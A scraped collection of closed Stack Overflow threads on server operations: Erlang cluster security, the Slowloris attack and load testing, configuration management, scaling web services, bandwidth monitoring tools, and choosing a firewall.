Closed. This question is off-topic. It is not currently accepting answers.
Want to improve this question? Update the question so it's on-topic for Stack Overflow.
Closed 10 years ago.
Improve this question
It's more a general question in terms of what one has to look out for when running an Erlang system. For example, I know of atom exhaustion attacks. What are other possible attacks and how to make your system more secure?
Running a cluster means they are sharing a cookie, and if one knows the cookie than they can attach to any of your nodes (assuming they are attached to your network) and execute any arbitrary Erlang command or program.
So my thought is that clustered means that there are at least two files (and some number of people) who know what the cookie is (or where to find it).
I would be afraid of bugs in applications deployed in your system. Good example from otp is SSL app, which was completely re-written 3 years ago. The next would be http client - memory leaks. Xmerl was never a strong part of the system.
Also, be careful with 3rd party Erlang apps: new web servers (probably better than inets, but if you do not need all the performance consider stable Yaws), ejabberd - number of techniques hitting directly OS, Riak - interaction with filesystem, ulimit, iostats etc.
First of all, you want to have your Cluster in a closed VPN (if they are far apart and parhaps communicate over a WAN). Then, you want to run them atop hardened UNIX or LINUX. Another strong idea is to close all epmd connections to your cluster even if one has got the cookie by using net_kernel:allow(Nodes). One of the main Weaknesses of Erlang Vms (i have come to realise) is memory consumption. I think that if an Erlang Platform providing service to many users and its NOT protected against DOS attacks, its left really vulnerable. You need to limit number of allowed concurrent connections for the Web Servers so that you can easilly block out some script boys in the neighbourhood. Another situation is having distributed/replicated Mnesia database across your cluster. Mnesia replicates data but i ain't sure if that data is encrypted. Lastly, ensure that you are the sole administrator of all the machines in your cluster.
Related
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 2 years ago.
Improve this question
The Slow Loris attack overwhelms an unpatched web server by simply extending the time it takes to finish making a request, then repeating that action - thus tying up all available resources to respond.
It follows then, that many users from geographic locations with bad internet connectivity, should be similarly detrimental to performance.
Is this really the case? What is the phenomenon called? What is a good way to simulate this with a load testing tool?
Anyone who opens a connection to the server takes a connection out of the webserver's connection pool, normal person makes a request, quickly gets response and closes the connection (as long as the browser doesn't send Connection: keep-alive header)
The point of Slowloris DOS attack is to use all the connections and retrieve the data at minimum speed (i.e. 1 byte per second) so request which normally finishes in a couple of seconds will "hang" for several hours.
It shouldn't have impact on the server's performance, i.e. it will be continuing serving other users normally, however server can run out of available connections and maybe run out of memory given it keeps the response in the memory until it's released.
You can use any of tools listed under Similar Software wikipedia article:
If you're looking for a load testing tool which can simulate slow connections "in addition" to the "normal" load testing features you can take a look at Apache JMeter in general and in How to Simulate Different Network Speeds in Your JMeter Load Test article in particular.
Closed. This question is opinion-based. It is not currently accepting answers.
Want to improve this question? Update the question so it can be answered with facts and citations by editing this post.
Closed 5 years ago.
Improve this question
I read many article concerning Configuration Management, but I dont really understand on what this configuration is applied.
Is it on software himself ? Like, changing hosts in conf file etc... ?
Or on the app "host" ? In that case, what is the aim of using this kind of software, knowing that we generally use docker containers "ready to use" ?
You spent hours setting up that server, configuring every variable, installing every package, updating config files. You love that server so much that you named it 'Lucy'.
Tomorrow you get run over by a bus. Will your coworkers know every single tiny change you made to that server? Unlikely. They will have to spend hours digging into that server trying to figure out what you've done and why you've done it.
Now let's multiply this by 100s or even 1000s servers. Doing this manually is unfeasible.
That's where config management systems come in.
It allows you to have documentation of your system's configurations by the nature of config management systems itself. Playbooks/manifests/recipes/'whatever term they use' will be the authoritative description of your servers. Unlike readme.txt which might not always match the real world, these systems ensure that what you see there is what you have on your servers.
It will be relatively simple to duplicate this server configuration over and over to potentially limitless scale(Google, Facebook, Microsoft and every other large company work that way).
You might think of a "Golden image" approach where you configure everything, then take a snapshot and keep replicating it over and over. The problem is it's difficult to compare the difference between 2 such images. You just have binary blobs. Where as with most config management systems you can use traditional VCS and easily diff various versions.
The same principle applies to containers.
Don't treat your servers as pets, treat them as cattle.
Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
We don’t allow questions seeking recommendations for books, tools, software libraries, and more. You can edit the question so it can be answered with facts and citations.
Closed 6 years ago.
Improve this question
I'm going to build a high-performance web service. It should use a database (or any other storage system), some processing language (either scripting or not), and a web-server daemon. The system should be distributed to a large amount of servers so the service runs fast and reliable.
It should replicate data to achieve reliability and at the same time it must provide distributed computing features in order to process large amounts of data (primarily, queries on large databases that won't survive being executed on a single server with a suitable level of responsiveness). Caching techniques are out of the subject.
Which cluster/cloud solutions I should take for the consideration?
There are plenty of Single-System-Image (SSI), clustering file systems (can be a part of the design), projects like Hadoop, BigTable clones, and many others. Each has its pros and cons, and "about" page always says the solution is great :) If you've tried to deploy something that addresses the subject - share your experience!
UPD: It's not a file hosting and not a game, but something rather interactive. You can take StackOverflow as an example of a web-service: small pieces of data, semi-static content, intensive database operations.
Cross-Post on ServerFault
You really need a better definition of "big". Is "Big" an aspiration, or do you have hard numbers which your marketing department* reckon they'll have on board?
If you can do it using simple components, do so. The likes of Cassandra and Hadoop are neither easy to setup (especially the later) or develop for; developers who are going to be able to develop such an application effectively will be very expensive and difficult to hire.
So I'd say, start off using your favourite "Traditional" database, with an appropriate high-availability solution, then wait until you get close to the limit (You can always measure where the limit is on your real application, once it's built and you have a performance test system).
Remember that Stack Overflow uses pretty conventional components, simply well tuned with a small amount of commodity hardware. This is fine for its scale, but would never work for (e.g. Facebook), but the developers knew that the audience of SO was never going to reach Facebook levels.
EDIT:
When "traditional" techniques start failing, e.g. you reach the limit of what can be done on a single database instance, then you can consider sharding or doing functional partitioning into more instances (again with your choice of HA system).
The only time you're going to need one of these (e.g. Cassandra) "nosql" systems is if you have a homogeneous data store with very high write requirement and availability requirement; even then you could probably still solve it by sharding conventional systems - as others (even Facebook) have done at times.
It's hard to make specific recommendations since you've been a bit vague, but I would recommend Google Appengine for basically any web service. It's reliable, easy to use, and is built on the google architecture so is fast and reliable.
i'd like to recommend stratoscal symphony. it's a private cloud service that does it all. everything you just mentiond - this service provides perfectly. their symphony products deliver the public cloud experience in you enterprise data center. if that's what you're looking for, i suggest you give it a shot
Closed. This question is off-topic. It is not currently accepting answers.
Want to improve this question? Update the question so it's on-topic for Stack Overflow.
Closed 10 years ago.
Improve this question
I use to be on a shared host and I could use there standard tools to look at bandwidth graph.
I now have my sites running on a dedicated server and I have no idea whats going on :P sigh
I have installed webmin on my Fedora core 10 machine and I would like to monitor bandwidth. I was about to setup the bandwidth module and it gave me this warning:
Warning - this module will log ALL network traffic sent or received on the
selected interface. This will consume a large amount of disk space and CPU
time on a fast network connection.
Isn't there anything I can use that is more light weight and suitable for a NOOB? 'cough' Free tool 'cough'
Thanks for any help.
vnStat is about as lightweight as they come. (There's plenty of front ends around if the graphs the command line tool gives aren't pretty enough.)
I use munin. It makes pretty graphs and can set up alerts if you're so inclined.
Unfortunately this is not for *nix but I have an automated process to analyise my IIS logs that moves them off the web server and analyises them with Web Log Expert. Provided the appropriate counter is turned on it gives me the bandwidth consumed for every element of the site.
The free version of their tool won't allow scripting but it does the same analysis. It supports W3C Extended and Apache (Common and Combined) log formats.
Take a look at mrtg. It's fairly easy to set up, runs a simple cron job to collect snmp stats from your router, and shows some reasonable and simple graphs. Data is stored in an RRD database (see the mrtg page for details) and can be mined for other uses as well.
Closed. This question is opinion-based. It is not currently accepting answers.
Want to improve this question? Update the question so it can be answered with facts and citations by editing this post.
Closed 7 years ago.
Improve this question
I have a Linux web server farm with about 5 web servers, web traffic is about 20Mbps.
We currently have a Barracuda 340 Load Balancer (keep away from this device - piece of crap!) that is acting as a firewall. I want to put in a dedicated firewall and I'd like to know what peoples opinions are on building versus buying a dedicated firewall.
Main requirements:
Dynamically block rouge traffic
Dynamically rate limit traffic
Block all ports except 80, 443
Limit port 22 to a set of IPs
High availability setup
Also if we go for the build route, how do we know what level traffic the system can handle.
As they say - "there are more than one way to skin a cat":
Build it yourself, running something like Linux or *BSD. The benefit of this, is that it makes it easy to do the dynamic part of your question, it's just a matter of a few well-placed shell/python/perl/whatever scripts. The drawback is that your ceiling traffic rate might not be what it would be on a purpose-built firewall device, although you should still be able to achieve data rates in the 300Mbit/sec range. (You start hitting PCI bus limitations at this point) This may be high enough to where it won't be a problem for you.
Buy a dedicated "firewall device" - Possible drawbacks of doing this, is that doing the "dynamic" part of what you're trying to accomplish is somewhat more difficult - depending on the device, this could be easy (Net::Telnet/Net::SSH come to mind), or not. If you are worried about peak traffic rates, you'll have to carefully check the manufacturer's specifications - several of these devices are prone to the same traffic limitations as "regular" PC's, in that they still run into the PCI bus bandwidth issue, etc. At that point, you might as well roll your own.
I guess you could read this more as a "pro's and con's" of doing either, if you want.
FWIW, we run dual FreeBSD firewalls at my place of employment, and regularly push 40+Mbit/sec with no noticeable load/issues.
Definitely build. I help manage an ISP and we have two firewalls built. One is for fail over and for redundancy. We use a program called pfsense. I couldn't recommend this program more. It has a great web interface for configuring it and we actually run it off a compact flash card.
in my current startup, we have used PFSense to replace multiple routers/firewalls, and it has throughput which replaces much more expensive routers.
Maybe that is why Cisco is having trouble? :)
Related to high availability: OpenBSD can be configured in a failover / HA way for firewalls. See this description. I've heard that they've done demos where such setups done as well (if not better) as high-end Cisco gear.
Over the last 8 years we maintained a small development network with about 20 to 30 machines. We had one computer dedicated to be the firewall.
Actually, we never run into serious problems we are now replacing it with a dedicated router/firewall solution (though we haven't decided yet which). Reasons for that are: simplicity (the goal is the firewall, not to maintain the linux for running it as well), less space and less power consumption.
Don't know much about this field, but maybe an Astaro security gateway?
Hi I would go for a dedicated firewall product in this scenario. I have used the Checkpoint firewall range of products for many years and I have always found them to be easy to setup and manage and they have great support. Using Checkpoint or one of their competitors is a fairly expensive option, especially if you're comparing it to open source software, so it depends on your budget.
I've also used Cisco's line of PIX and ASA firewalls. These are also good, but in my opinion are more difficult to manage